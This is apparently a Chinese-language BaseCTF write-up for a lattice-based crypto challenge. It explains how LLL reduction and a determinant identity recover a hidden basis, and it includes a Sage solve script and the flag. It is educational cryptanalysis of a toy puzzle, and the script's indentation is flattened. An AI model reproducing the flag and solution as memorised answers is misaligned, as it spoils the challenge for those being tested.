W = [[838243669569772365825528069088793455362253801517360278602593303745699429137215594576991203071727187689167097915523807181069815074124001330605476179062587774586413099179825273026676486841213151585743972214797692786366689785491273081413668402037800457578015835799910062278548422607854946333715446327802896293029377534443735084744391631685250614642775247173445704258033114931031666306649949263186126055241139290905429794696028384343749984236719592960909032270495356, 803037915525763017813052134194087092503024850450778985110871642829830991012170830783900056324370267494800927024749373592744933154087905523794957583458320772762393022274754812539413304654338911861881703406551975827547157103926858618050322166669434180444100312398454530810141984367238536123028456943329443614154050974619461000072847460724967548375623320227093428700111757757638270165456251865510363753235078534130529338200958418407734698270157192357964274092960160, 936860550979161859763944379815022616668684890898857549853283234781148589264637570580765176526871677402372007461081732898697312885010695317454774616907341062321919789905918536590631377401204453037238548216648108039082749895680446221612769807718147337667121814420180597640654236164929573894976873797106386019676593508260795149809742272019006821924426056135904099903987553221898726778429309630193632524365812002539064510798904913798165805952369467097166655052324662], [903827515929770485045352583923655902326985198425839313304983595578754651977406515523417091164606505992344067878304810153443237319663912774096105876828088267351880185653549590057499840375845602572585406606843113691398586082599896034026753671311127281701066533882077608584967968707777937945824307588234847645532828872891999612833211248100809726023940327229679170954992117211762654040526677026676750258569210085085849650693677075476712776614907076983085506292744593, 865867277899743984439472212248353523489475207105436612467388414274420933395815480684569358513658899128263451705767460689322324871155098437383762120083505456143481204507833625398191810324011750457183760477995450683492183216742470659735972303328300805612595535471688829946545404613937343154546265892485079288647073301566428063885748080397335579940733133160982445771626323095205883638294011960474082043462070600709609945253876118567904739848764175027352015971149441, 1010160142335093061390073894563508864471566280278502420921989223687002198547569470869775259447268733595903657260678484653049020541253485677709836243404433947659892982318145912957083642845032140875108225542486758247838327077646951588304929682753162881261192381472575935615608383217184248495268384377517552833159650113564246358248703626825695080546545844771964065265076038887828360524279438416928547216942293462621132698205097190096991916709625976826523765493530001], [78212249173117191675170269491819725722517802312978337273804090104803606178852022644248470195807846920777359458397572673319629877881485882414961268159575924654736302449378271858232975357320988498416055914130853390645176331442047110403763360174417255005631946157490069743178573263637578884793651847627029051991, 74927379501472932120680494090445315819870183792818898309591485925627415024697485507641733597293876698532213631345314279208289123258824769689285644220202046304564375857497101372953510739020984815291833079840818219941112397714761814022393125005379756778275950629416624821974542971342867918912677411141124552457, 87413688302893898473393354361135831954484558329329084401662857815823746202157926477994765338832304531581829735643758883274071789530966177809582992054303282158857862400265977801285276497220755870408421869590049299225416536929009300912398960151372766988582409763009295034261252377005456165370870094539411150067]]
hint = [[246113081383159550742301389040370789477, 0, 0], [11152329977565784221225693789680814642651917976425031602984186773217921601713987960438433946931386627886062324958107378857734386881263658081884765704688257, 10683938505657230179810827249056252019273456770047066582472908450838551957854054329645676204226277615006027375173781179496005220534722980666830108442748411, 0], [12909086249033493657373140400755388103713119422025290702729934460438874573189113819222211003617053854285976236233309899368081087581903742593207861442650517, 9187258103530841595225948803092366126509314603068288593845050883756605942036676873402194862960350885965541685057956650837894582552315218590371164516643577, 7601247345297763187625384319296811132204071832415909380474604204622868879647397909637085901563946695955258577131871160032821007989191447784910345738795389]]
'''
解析
先从mid_math2开始, 我们考察了格基规约的基本使用, 同样在这一题中仔细观察就可以发现矩阵V的V[0]
是有可能被格出来的, 之前没有详细介绍过, 所以本题的格基规约(LLL)考点只需要简单计算出a
,b
,c
.
然后是ez_mah和mid_math中对行列式的考察, 我们知道一个矩阵与主对角线为1的上三角矩阵与下三角矩阵乘积的矩阵进行乘积, 行列式不变, 故我们可以通过计算矩阵W的行列式得到矩阵V的行列式, 计算出a
,b
,c
后我们除了f
以外知道矩阵V的所有元素, 可利用行列式直接求出f, 得到矩阵V.
从向量大小可以明显看出我们由一组坏格基W求出了好的格基V, 接下来就是很简单的SVP问题了, 通过使用矩阵V进行近似, 再求矩阵U继续计算, 我们可以还原原始向量.
EXP
import numpy as np
from sage.all import *
from Crypto.Util.number import *
from re import sub
m = [515006066572991495094024845507453270170679530115722665716310857090383589987192995300820709326539907598036228187098433712764150545713781753928519780987397892019149396848734270629944247423448792576409939690690172467014798009304748201014701433638914639516136791514943818115581841161140822534657373450411916010383872732592192428514885246957165021151091735415512934159556555795946329029885077848428522565951230170422871166025743271004222458910631903580841388720000991656351499297814283656311006619217557, 493376106730590001882623910015696056521634040769204676097683956342407441946394989269289586462834183861958955979569597323143336033364245602994690452975858606246399021815786952339420761036368842534214572793543597526440971054273983326810410557306121368806745656400301215422355097611632518232563203326662080440857128552584680151063471311246027207795633032412326671372295196912352244705460776745840724990330443310670290805805114851081572848158034185286087423873359219385001802862944316920564177120955175, 575595002745228725017587011229401876567667455244528775277629732860064977911268125609189310020405051622085511289521885274600136190154096572813688714712133062373574937656504877555714680953922288909295838812970976406997779107157755042843766890628178252727891534572782306820699889220503146129501975505498358015202877369653016071954056645819683541482989501884449536172692222955049657627314349743452274317472117170325014443435968767431351069364374662221187031602748415650312412433222057689003403908801913]
W = [[838243669569772365825528069088793455362253801517360278602593303745699429137215594576991203071727187689167097915523807181069815074124001330605476179062587774586413099179825273026676486841213151585743972214797692786366689785491273081413668402037800457578015835799910062278548422607854946333715446327802896293029377534443735084744391631685250614642775247173445704258033114931031666306649949263186126055241139290905429794696028384343749984236719592960909032270495356, 803037915525763017813052134194087092503024850450778985110871642829830991012170830783900056324370267494800927024749373592744933154087905523794957583458320772762393022274754812539413304654338911861881703406551975827547157103926858618050322166669434180444100312398454530810141984367238536123028456943329443614154050974619461000072847460724967548375623320227093428700111757757638270165456251865510363753235078534130529338200958418407734698270157192357964274092960160, 936860550979161859763944379815022616668684890898857549853283234781148589264637570580765176526871677402372007461081732898697312885010695317454774616907341062321919789905918536590631377401204453037238548216648108039082749895680446221612769807718147337667121814420180597640654236164929573894976873797106386019676593508260795149809742272019006821924426056135904099903987553221898726778429309630193632524365812002539064510798904913798165805952369467097166655052324662], [903827515929770485045352583923655902326985198425839313304983595578754651977406515523417091164606505992344067878304810153443237319663912774096105876828088267351880185653549590057499840375845602572585406606843113691398586082599896034026753671311127281701066533882077608584967968707777937945824307588234847645532828872891999612833211248100809726023940327229679170954992117211762654040526677026676750258569210085085849650693677075476712776614907076983085506292744593, 865867277899743984439472212248353523489475207105436612467388414274420933395815480684569358513658899128263451705767460689322324871155098437383762120083505456143481204507833625398191810324011750457183760477995450683492183216742470659735972303328300805612595535471688829946545404613937343154546265892485079288647073301566428063885748080397335579940733133160982445771626323095205883638294011960474082043462070600709609945253876118567904739848764175027352015971149441, 1010160142335093061390073894563508864471566280278502420921989223687002198547569470869775259447268733595903657260678484653049020541253485677709836243404433947659892982318145912957083642845032140875108225542486758247838327077646951588304929682753162881261192381472575935615608383217184248495268384377517552833159650113564246358248703626825695080546545844771964065265076038887828360524279438416928547216942293462621132698205097190096991916709625976826523765493530001], [78212249173117191675170269491819725722517802312978337273804090104803606178852022644248470195807846920777359458397572673319629877881485882414961268159575924654736302449378271858232975357320988498416055914130853390645176331442047110403763360174417255005631946157490069743178573263637578884793651847627029051991, 74927379501472932120680494090445315819870183792818898309591485925627415024697485507641733597293876698532213631345314279208289123258824769689285644220202046304564375857497101372953510739020984815291833079840818219941112397714761814022393125005379756778275950629416624821974542971342867918912677411141124552457, 87413688302893898473393354361135831954484558329329084401662857815823746202157926477994765338832304531581829735643758883274071789530966177809582992054303282158857862400265977801285276497220755870408421869590049299225416536929009300912398960151372766988582409763009295034261252377005456165370870094539411150067]]
hint = [[246113081383159550742301389040370789477, 0, 0], [11152329977565784221225693789680814642651917976425031602984186773217921601713987960438433946931386627886062324958107378857734386881263658081884765704688257, 10683938505657230179810827249056252019273456770047066582472908450838551957854054329645676204226277615006027375173781179496005220534722980666830108442748411, 0], [12909086249033493657373140400755388103713119422025290702729934460438874573189113819222211003617053854285976236233309899368081087581903742593207861442650517, 9187258103530841595225948803092366126509314603068288593845050883756605942036676873402194862960350885965541685057956650837894582552315218590371164516643577, 7601247345297763187625384319296811132204071832415909380474604204622868879647397909637085901563946695955258577131871160032821007989191447784910345738795389]]
#a, b, c = [getPrime(128) for _ in range(3)]
#d, e, f, h, i, j = [getPrime(512) for _ in range(6)]
#k, l, m = [getPrime(16) for _ in range(3)]
flag = b"BaseCTF{A99C2980-9F32-5BDC-26E9-C0551E3997A8}"
def m2l(data):
data = str(list(data)).replace(')',']').replace('(','[')
return data
def red(data):
new = sub(' +', ' ',str(data)).replace('[','').replace(']','').split(' ')
a,b,c = new[-3:]
a,b,c = count(a), count(b), count(c)
return matrix([a,b,c])
def count(data):
if '/' in data:
a,b = data.split('/')
a,b = int(a), int(b)
if (a%b) >= (b//2):
new = (a // b) + 1
else:
new = a // b
else:
new = int(data)
return new
V = matrix(hint)
V[0] = matrix(W).LLL()[0]
V[1,2] = (abs(matrix(W).det()) - (
V[0,0]*V[1,1]*V[2,2] +
V[1,0]*V[2,1]*V[0,2]
) + (
V[2,0]*V[1,1]*V[0,2] +
V[0,1]*V[1,0]*V[2,2]
)) // (
V[0,1]*V[2,0] - V[0,0]*V[2,1]
)
W = matrix(W)
U = W * (V**(-1))
a = b''
new_flag = (red(matrix(m) * (V**(-1))) * (U**(-1)))[0]
a += long_to_bytes(int(new_flag[0]))
a += long_to_bytes(int(new_flag[1]))
a += long_to_bytes(int(new_flag[2]))
print(a)
# b'BaseCTF{A99C2980-9F32-5BDC-26E9-C0551E3997A8}'
Week3(MISC)
osc
本题为挑战题, 不提供详细WP, 大致原理可以参考以下:
题目一致.